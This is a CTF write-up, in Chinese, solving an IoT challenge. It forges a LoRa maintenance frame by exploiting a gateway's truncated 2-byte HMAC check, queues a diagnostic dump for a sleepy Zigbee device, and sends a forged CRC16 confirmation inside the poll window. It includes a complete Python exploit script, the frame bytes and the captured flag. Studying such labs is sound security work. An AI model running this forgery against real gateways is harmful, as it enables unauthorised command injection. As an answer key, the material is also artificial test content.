题目链接:https://pan.baidu.com/s/1GgUs_rSYwfIFIE06IWs23Q 提取码: 0322

一、查看题目

image-20260902153326850

目标是向网关注入一条伪造的 LoRa 维护报文,使网关为 Zigbee 睡眠终端 0x7A31 排队 DIAG_DUMP (0x17),然后在设备 poll 窗口内发送正确的 Zigbee 应用层确认帧,最终拿到 flag。

不是只发送 Zigbee APS ACK。服务端会严格检查 7F 应用确认中的来源地址、seqtoken、状态字节和 CRC16。

二、解题步骤

1 附件分析

1.1 lorawan.txt

文件中给出:

1
2
3
AppKey=00112233445566778899AABBCCDDEEFF
DevAddr=26011A7C
FCntUp=184

拿到 AppKey 直接作为应用层 HMAC 密钥使用,因此脚本中使用:

1
KEY = bytes.fromhex("00112233445566778899aabbccddeeff")

设备短地址来自题面和日志:0x7A31

1.2 gateway.log

关键时间线:

1
2
3
4
5
03:14:20.000  poll-window closed   (轮询窗口关闭)
03:14:22.000 data-request; pending=1
03:14:22.012 网关向 7A31 下发命令
03:14:22.019 APS ACK #https://blog.csdn.net/weixin_44140654/article/details/103973274
03:14:22.400 设备休眠

image-20260904100639657

这说明 Zigbee 终端是 Sleepy End Device:平时休眠,只在 poll 时接收网关排队的下行数据。服务端中,LoRa 报文成功后会等待 2 秒打开 poll 窗口,窗口持续 400 ms。(poll窗口机制)(轮询窗口)

1
2
3
4
5
6
7
8
9
10
11
现实 Zigbee 逻辑

1.设备绝大部分时间睡觉,射频关掉,省电。

2.不会一直在线接收网关下发的数据包。

3.设备会每隔一段时间短暂醒过来,向网关发 poll 轮询请求,查询有没有属于自己的消息。

4.网关要发给休眠设备的命令,先放在网关内部队列缓存,不能直接丢给睡觉的设备。

5.只有设备唤醒、正在轮询的这一小段时间,叫做poll 窗口,网关才接收来自该设备的应答帧(本题就是我们伪造的 0x7F 确认帧)。

注意:早了:sleepy‑device;晚了:poll‑window‑expired

1.3 capture.pcapng

抓包里的 LoRa 应用层格式为:

1
55 AA 01 | dst(2)[Zigbee 目标短地址] | seq(1) [报文序列号]| op(1) | token(4) | len(1) | data | HMAC8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
55 aa 01:帧头

31 7a:dst = 0x7A31(小端) ✔

ff:seq = 0xFF(pcap 里上一帧的序列号)

10:op = 0x10(不是我们用的`0x17 DIAG_DUMP`)

11 22 33 44:token 11223344

06:data 长度 = 6

4f50454e3d30` → ASCII:`OPEN=0 (阀门关闭)

后面一长串:HMAC‑SHA256 完整输出(32 字节,固件只取前 2 字节比对)

报文序列号seq解释

1
2
3
每收到一条合法报文,这个 dst 的 seq 计数器就 +1。
发过来的报文 seq,必须等于上一次合法 seq + 1,否则拒绝,返回 `ERR command‑or‑seq`。
防重放:防止攻击者把一条旧的合法报文抓下来反复重放攻击。

题目里的字段均为 little-endian(小端序),dst=0x7A31。抓包最后一条合法维护帧的 seq=0xFF,因此下一条可接受序号是:

1
expected = (0xFF + 1) & 0xFF = 0x00  #seq 是 1 字节无符号整数,只能存 0~255(也就是 0x00 ~ 0xFF)

image-20260904094255866

1.4 gateway_fw.bin

strings查看即可看到提示字符串:

image-20260904101909697

核心漏洞是:网关固件校验 LoRa 维护帧 HMAC 校验值时,本来应该比较 8 字节 HMAC,却只比较前 2 字节。也就是说,报文末尾只需要满足:

1
supplied_hmac[:2] == HMAC-SHA256(key, body)[:2]

剩余 6 字节可以任意填写。平均约尝试 2^16 次即可找到匹配值。

2. 构造恶意 LoRa 报文

目标字段:

1
2
3
4
5
dst   = 0x7A31
seq = 0x00
op = 0x17
token = 11223344
data = ASCII "STAT" #子命令,4 字节字符串,告诉设备输出阀门诊断状态,触发 flag 打印。

因此 HMAC 计算前的 body 是:

1
55 aa 01 31 7a 00 17 11 22 33 44 04 53 54 41 54

注意 dst=0x7A31 使用 little-endian,所以在线上传输时是 31 7a

最终报文为:

1
2
body || 8-byte-hmac  #HMAC‑SHA256(key, body)
#real_mac = hmac.new(KEY, body, hashlib.sha256).digest()

其中 8-byte-hmac 的前两个字节必须和真实 HMAC 相同,后六个字节可以设为 00,也可以直接发送真实 HMAC。

3. Zigbee 确认帧(0x7F 应用层确认帧)

前面我们伪造 LoRa 报文只是把cmd=17(诊断转储指令)压入队列;必须发送这条 7F 帧,才会真正输出 flag

网关排队命令后,必须等 2 秒进入 poll 窗口,再发送:

1
7F | seq(1) | token(4) | status(1) | crc16(2)

本题中:

1
2
3
4
seq    = 00
token = 11223344
status = 00
src = 7A31 #短地址

CRC16 使用 Modbus 多项式 0xA001,初值 0xFFFF,计算范围是前 7 个字节,即:

1
7f 00 11 22 33 44 00

发送格式:

1
ZB 7A31 <7F确认帧十六进制>

4. 一键利用脚本

下面脚本会自动寻找 HMAC 前 16 位匹配值,连接服务,注入 LoRa 报文,等待 2.1 秒,再计算并发送 Zigbee 确认。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
发送伪造LORA报文,利用 HMAC 漏洞,把cmd=0x17(DIAG_DUMP)压入网关队列
等待 poll 窗口,发送伪造0x7FZigbee 应用确认帧,触发 dump 拿到 flag
#!/usr/bin/env python3
import hashlib, hmac, socket, struct, time

HOST, PORT = "127.0.0.1", 31337
KEY = bytes.fromhex("00112233445566778899aabbccddeeff")
TOKEN = bytes.fromhex("11223344")

def crc16(data):
crc = 0xffff
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ 0xa001 if crc & 1 else crc >> 1
return crc & 0xffff

body = (b"\x55\xaa\x01" + struct.pack("<HBB", 0x7a31, 0x00, 0x17)
+ TOKEN + b"\x04STAT")
real_mac = hmac.new(KEY, body, hashlib.sha256).digest()

# 固件只比较前两个字节;后六字节填 00 即可。
wire_mac = real_mac[:2] + b"\x00" * 6
lora = body + wire_mac

confirm_body = b"\x7f\x00" + TOKEN + b"\x00"
confirm = confirm_body + struct.pack("<H", crc16(confirm_body))

with socket.create_connection((HOST, PORT)) as s:
print(s.recv(4096).decode(), end="")
s.sendall(b"LORA " + lora.hex().encode() + b"\n")
print(s.recv(4096).decode(), end="")
time.sleep(2.05)
s.sendall(b"ZB 7A31 " + confirm.hex().encode() + b"\n")
time.sleep(0.1)
print(s.recv(4096).decode(), end="")
print(s.recv(4096).decode(), end="")

运行:

1
python3 solve.py

输出:

1
2
3
OK queued dst=7A31 cmd=17; poll-window in 2.0s
DIAG_DUMP diag_id=42 valve=REMOTE_OVERRIDE
flag{sleepy_zed_ack_is_not_aps_ack}

image-20260904141043328

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
整体逻辑

1.根据 `lorawan.txt` 读取 HMAC 密钥。

2.按格式构造 `seq=00, op=17, data=STAT` 的 LoRa body。

3.计算 HMAC-SHA256,保留前两个字节,后面补 6 个字节。

4.发送 `LORA <hex>`,看到 `OK queued`。

5.等待约 2 秒。

6.构造 `7F 00 11223344 00 CRC16`,以源地址 `7A31` 发送。

7.读取诊断输出和 flag。

三、得到答案

flag{sleepy_zed_ack_is_not_aps_ack}